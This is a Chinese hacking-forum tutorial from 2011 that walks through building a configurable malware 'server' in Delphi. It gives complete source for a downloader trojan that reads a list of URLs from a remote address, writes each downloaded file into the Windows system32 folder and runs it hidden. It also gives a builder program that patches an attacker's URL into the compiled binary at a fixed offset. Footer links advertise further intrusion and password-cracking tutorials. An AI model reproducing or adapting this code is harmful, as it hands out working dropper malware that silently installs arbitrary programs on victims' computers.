发布时间:2011-06-26 04:40:20作者:知识屋
最近在学习服务端文件的生成,相信有不少朋友也在学这个吧。下面就说一说个人的体会并介绍一种新的方法来生成服务端(超简单!)
好了下面开始
首先说一下服务端文件生成的思路:
1.把服务端文件编译成资源文件
2.在程序中导入资源文件并接受用户的配置信息
3.查找修改地址并写入配置信息
4.生成服务端文件
好了 过程就是这些 下面让我们来实现他吧。
首先写好我们的原始服务端 这里我们来写一个下载者为例。取名为down.exe 下面是源代码:
program down;
uses
SysUtils,urlmon,strutils,windows;
function DownloadFile(Source, Dest: string): Boolean;
begin
try
Result := UrlDownloadToFile(nil, PChar(source), PChar(Dest), 0, nil) = 0;
except
Result := False;
end;
end;
const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
var
file1:textfile;
s,a:string;
begin
downloadfile(f,'c:windowssystem32atlog.txt');
assignfile(file1,'c:windowssystem32atlog.txt');
reset(file1);
while not eof(file1) do
begin
readln(file1,s);
downloadfile(s,'c:windowssystem32'+rightstr(s,8));
a:='c:windowssystem32'+rightstr(s,8);
winexec(pchar(a),sw_hide);
end;
end.
这是一个支持多文件下载的服务端 具体代码我就不分析了 大家自己理解 很简单的。。。。
要注意的是
const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
f 是等待用户来配置的变量 我们把它定义为50个x 这样在修改时好定位 这里x的个数关系到用户能够输入信息的长度
所以要定义足够多的x啊 免得后面不够用了。
好了 把它编译为down.exe
下面我们来找xxxxxxxxxx。的地址。
打开十六进制编辑器 搜索xxxxx 找到的那个地址就是了 我们这里是54012 (delphi2005编译)
然后新建一个文本文件 写入如下代码
downman RCDATA down.exe
保存为downman.rc ok 下面把它编译成资源文件
brcc32.exe downman.rc
这样我们就得到了一个名为downman.res的资源文件
好 把它拷贝到我们的编程目录。
新建一个工程。
建立全局变量
const offset_url:integer= 54012
在{$R *.dfm}下面加上{$r downman.res} 这样我们就在程序中加入了资源文件了
下面我们来看看普通的程序写法。
procedure TForm1.Button1Click(Sender: TObject);
var
url:string;
WriteBuff, ziyuanzhizhen: PChar;
ziyuanweizhi: HRSRC;
ziyuandaxiao, BytesWritten: Longword;
shujuchulijubing: THandle;
shenqingzhizhen: THandle;
begin
url:=trim(edit1.Text);
if url<>'' then
begin
ziyuanweizhi := FindResource(HInstance, 'downman', RT_RCDATA);
ziyuandaxiao := SizeofResource(HInstance, ziyuanweizhi);
shujuchulijubing := LoadResource(HInstance, ziyuanweizhi);
ziyuanzhizhen := LockResource(shujuchulijubing);
shenqingzhizhen := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(shenqingzhizhen, ziyuanzhizhen^, ziyuandaxiao, BytesWritten, nil);
Sleep(100);
SetFilePointer(shenqingzhizhen, OFFSET_url, nil, FILE_BEGIN);
WriteBuff := PChar(url + StringOfChar(#0, 50 - Length(url)));
WriteFile(shenqingzhizhen, WriteBuff^, 50, BytesWritten, nil);
CloseHandle(shenqingzhizhen);
end
else
showmessage('请输入配置文件的地址!!');
end;
代码我就不解释了 网上有好多。
是不是看的头晕晕的。呵呵 俺也一样。
下面就给大家介绍一种新方法(俺自己想的。)
首先 把资源文件提取出来并保存到流 s 里面
procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,'downman',RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;
s 是一个TMEMORYSTREAM 在public 申明一下就行了
好完成第一步了 下面我们用流来检索并修改。
procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile('server1.exe');
s.Free;
end;
url 就是我们用户要输入的。 buffer 是用来填充前面说的f (xxxxxxxx)
这样我们的服务端就生成完毕了。简单吧。
好 下面给出完整的程序供大家参考。
unit Unit3;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
const
offset_url:integer=54012;
type
TForm3 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Label1: TLabel;
procedure restostream;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
s:tmemorystream;
end;
var
Form3: TForm3;
implementation
{$R *.dfm}
{$r downman.res}
procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile('server1.exe');
s.Free;
end;
procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,'downman',RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;
end.
2011-07-02
黑客基础教程之如何查看论坛隐藏贴(怎么查看论坛隐藏贴)
一个黑客所需的基本技能
黑客基础教程之如何查看电脑配置(怎么查看自己的电脑配置)
怎么取消开机密码
什么是肉鸡,如何避免电脑成为肉鸡?
一名初级黑客所必须掌握的基本技能
电脑常见安全隐患,你知道吗?
黑客基础教程之黑客入侵渗透教程
【注意】QQ密码本地破解的原理和方法